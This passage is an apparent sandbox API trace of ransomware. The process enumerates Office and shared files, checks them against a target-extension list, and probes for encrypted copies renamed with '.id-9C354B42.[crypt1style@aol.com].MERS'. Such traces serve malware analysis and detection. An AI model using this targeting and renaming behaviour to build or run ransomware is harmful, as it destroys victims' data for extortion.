Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.064] lstrlenW (lpString=".dbf") returned 4 [0274.064] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.064] lstrlenW (lpString=".1cd") returned 4 [0274.064] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.064] lstrlenW (lpString=".jpg") returned 4 [0274.064] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.064] lstrlenW (lpString=".doc") returned 4 [0274.064] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.064] lstrlenW (lpString=".docx") returned 5 [0274.064] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0274.064] lstrlenW (lpString=".pdf") returned 4 [0274.064] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.064] lstrlenW (lpString=".xls") returned 4 [0274.064] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.064] lstrlenW (lpString=".xlsx") returned 5 [0274.064] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0274.064] lstrlenW (lpString=".ppt") returned 4 [0274.064] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.064] lstrlenW (lpString=".zip") returned 4 [0274.065] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.065] lstrlenW (lpString=".rar") returned 4 [0274.065] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.065] lstrlenW (lpString=".bz2") returned 4 [0274.065] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.065] lstrlenW (lpString=".7z") returned 3 [0274.065] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.065] lstrlenW (lpString=".dbf") returned 4 [0274.065] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.065] lstrlenW (lpString=".1cd") returned 4 [0274.065] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.065] lstrlenW (lpString=".jpg") returned 4 [0274.065] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.065] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0274.065] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0274.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0274.106] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=35216) returned 1 [0274.106] CloseHandle (hObject=0x3d4) returned 1 [0274.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll")) Thread: id = 96 os_tid = 0x6ec [0257.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3aa0060 [0257.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3ab0068 [0257.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595328 [0257.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c1fc8 [0257.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595340 [0257.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x3d90020 [0257.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595358 [0257.686] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595358, Size=0x20) returned 0x6293d8 [0257.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595358 [0257.686] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595358, Size=0x20) returned 0x6293b0 [0257.686] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.686] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.686] Wow64DisableWow64FsRedirection (in: OldValue=0x30eff58 | out: OldValue=0x30eff58*=0x0) returned 1 [0257.686] lstrlenW (lpString="kernel32.dll") returned 12 [0257.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293d8 | out: hHeap=0x540000) returned 1 [0257.686] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293b0 | out: hHeap=0x540000) returned 1 [0257.686] Sleep (dwMilliseconds=0x64) [0257.873] Sleep (dwMilliseconds=0x64) [0258.058] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0258.058] lstrlenW (lpString="Content.xml") returned 11 [0258.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.139] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=27045) returned 1 [0258.139] CloseHandle (hObject=0x2f0) returned 1 [0258.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0258.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString=".doc") returned 4 [0258.140] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString=".docx") returned 5 [0258.140] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0258.140] lstrlenW (lpString=".pdf") returned 4 [0258.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString=".xls") returned 4 [0258.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString=".xlsx") returned 5 [0258.140] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0258.140] lstrlenW (lpString=".ppt") returned 4 [0258.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString=".zip") returned 4 [0258.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0258.140] lstrlenW (lpString=".rar") returned 4 [0258.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString=".bz2") returned 4 [0258.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString=".7z") returned 3 [0258.140] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0258.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString=".dbf") returned 4 [0258.140] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString=".1cd") returned 4 [0258.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString=".jpg") returned 4 [0258.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0258.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.140] lstrlenW (lpString=".doc") returned 4 [0258.141] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString=".docx") returned 5 [0258.141] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0258.141] lstrlenW (lpString=".pdf") returned 4 [0258.141] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString=".xls") returned 4 [0258.141] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString=".xlsx") returned 5 [0258.141] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0258.141] lstrlenW (lpString=".ppt") returned 4 [0258.141] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.141] lstrlenW (lpString=".zip") returned 4 [0258.141] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0258.141] lstrlenW (lpString=".rar") returned 4 [0258.141] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString=".bz2") returned 4 [0258.141] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString=".7z") returned 3 [0258.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0258.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.141] lstrlenW (lpString=".dbf") returned 4 [0258.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.141] lstrlenW (lpString=".1cd") returned 4 [0258.141] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0258.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0258.141] lstrlenW (lpString=".jpg") returned 4 [0258.141] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0258.141] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.142] lstrlenW (lpString="boxed-join.avi") returned 14 [0258.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0258.779] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=33280) returned 1 [0258.779] CloseHandle (hObject=0x2d4) returned 1 [0258.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0258.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.779] lstrlenW (lpString=".doc") returned 4 [0258.779] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.779] lstrlenW (lpString=".docx") returned 5 [0258.779] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0258.779] lstrlenW (lpString=".pdf") returned 4 [0258.779] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.779] lstrlenW (lpString=".xls") returned 4 [0258.779] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.779] lstrlenW (lpString=".xlsx") returned 5 [0258.779] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0258.779] lstrlenW (lpString=".ppt") returned 4 [0258.779] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.780] lstrlenW (lpString=".zip") returned 4 [0258.780] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString=".rar") returned 4 [0258.780] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString=".bz2") returned 4 [0258.780] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString=".7z") returned 3 [0258.780] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.780] lstrlenW (lpString=".dbf") returned 4 [0258.780] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.780] lstrlenW (lpString=".1cd") returned 4 [0258.780] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.780] lstrlenW (lpString=".jpg") returned 4 [0258.780] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.780] lstrlenW (lpString=".doc") returned 4 [0258.780] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString=".docx") returned 5 [0258.780] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0258.780] lstrlenW (lpString=".pdf") returned 4 [0258.780] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.780] lstrlenW (lpString=".xls") returned 4 [0258.780] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.781] lstrlenW (lpString=".xlsx") returned 5 [0258.781] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0258.781] lstrlenW (lpString=".ppt") returned 4 [0258.781] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.781] lstrlenW (lpString=".zip") returned 4 [0258.781] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.781] lstrlenW (lpString=".rar") returned 4 [0258.781] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.781] lstrlenW (lpString=".bz2") returned 4 [0258.781] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.781] lstrlenW (lpString=".7z") returned 3 [0258.781] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.781] lstrlenW (lpString=".dbf") returned 4 [0258.781] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.781] lstrlenW (lpString=".1cd") returned 4 [0258.781] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0258.781] lstrlenW (lpString=".jpg") returned 4 [0258.781] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.781] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0258.782] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0258.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.846] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=237) returned 1 [0258.846] CloseHandle (hObject=0x318) returned 1 [0258.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0258.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.850] lstrlenW (lpString=".doc") returned 4 [0258.850] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0258.850] lstrlenW (lpString=".docx") returned 5 [0258.850] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0258.850] lstrlenW (lpString=".pdf") returned 4 [0258.850] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0258.850] lstrlenW (lpString=".xls") returned 4 [0258.850] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0258.850] lstrlenW (lpString=".xlsx") returned 5 [0258.850] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0258.850] lstrlenW (lpString=".ppt") returned 4 [0258.850] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0258.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.850] lstrlenW (lpString=".zip") returned 4 [0258.850] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0258.850] lstrlenW (lpString=".rar") returned 4 [0258.850] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0258.850] lstrlenW (lpString=".bz2") returned 4 [0258.850] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0258.850] lstrlenW (lpString=".7z") returned 3 [0258.850] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0258.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.850] lstrlenW (lpString=".dbf") returned 4 [0258.850] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0258.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.850] lstrlenW (lpString=".1cd") returned 4 [0258.850] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0258.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.851] lstrlenW (lpString=".jpg") returned 4 [0258.851] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0258.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.851] lstrlenW (lpString=".doc") returned 4 [0258.851] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0258.851] lstrlenW (lpString=".docx") returned 5 [0258.851] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0258.851] lstrlenW (lpString=".pdf") returned 4 [0258.851] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0258.851] lstrlenW (lpString=".xls") returned 4 [0258.851] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0258.851] lstrlenW (lpString=".xlsx") returned 5 [0258.851] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0258.851] lstrlenW (lpString=".ppt") returned 4 [0258.851] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0258.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.851] lstrlenW (lpString=".zip") returned 4 [0258.851] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0258.851] lstrlenW (lpString=".rar") returned 4 [0258.851] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0258.851] lstrlenW (lpString=".bz2") returned 4 [0258.851] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0258.851] lstrlenW (lpString=".7z") returned 3 [0258.851] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0258.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.851] lstrlenW (lpString=".dbf") returned 4 [0258.851] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0258.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.852] lstrlenW (lpString=".1cd") returned 4 [0258.852] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0258.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0258.852] lstrlenW (lpString=".jpg") returned 4 [0258.852] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0258.852] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0258.852] lstrlenW (lpString="Peacock.jpg") returned 11 [0258.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.853] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=5115) returned 1 [0258.853] CloseHandle (hObject=0x318) returned 1 [0258.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0258.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.853] lstrlenW (lpString=".doc") returned 4 [0258.853] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.853] lstrlenW (lpString=".docx") returned 5 [0258.853] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0258.853] lstrlenW (lpString=".pdf") returned 4 [0258.853] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.853] lstrlenW (lpString=".xls") returned 4 [0258.853] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.853] lstrlenW (lpString=".xlsx") returned 5 [0258.853] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0258.853] lstrlenW (lpString=".ppt") returned 4 [0258.853] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.853] lstrlenW (lpString=".zip") returned 4 [0258.853] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.853] lstrlenW (lpString=".rar") returned 4 [0258.854] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.854] lstrlenW (lpString=".bz2") returned 4 [0258.854] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.854] lstrlenW (lpString=".7z") returned 3 [0258.854] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.854] lstrlenW (lpString=".dbf") returned 4 [0258.854] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.854] lstrlenW (lpString=".1cd") returned 4 [0258.854] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0258.854] lstrlenW (lpString=".jpg") returned 4 [0258.854] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 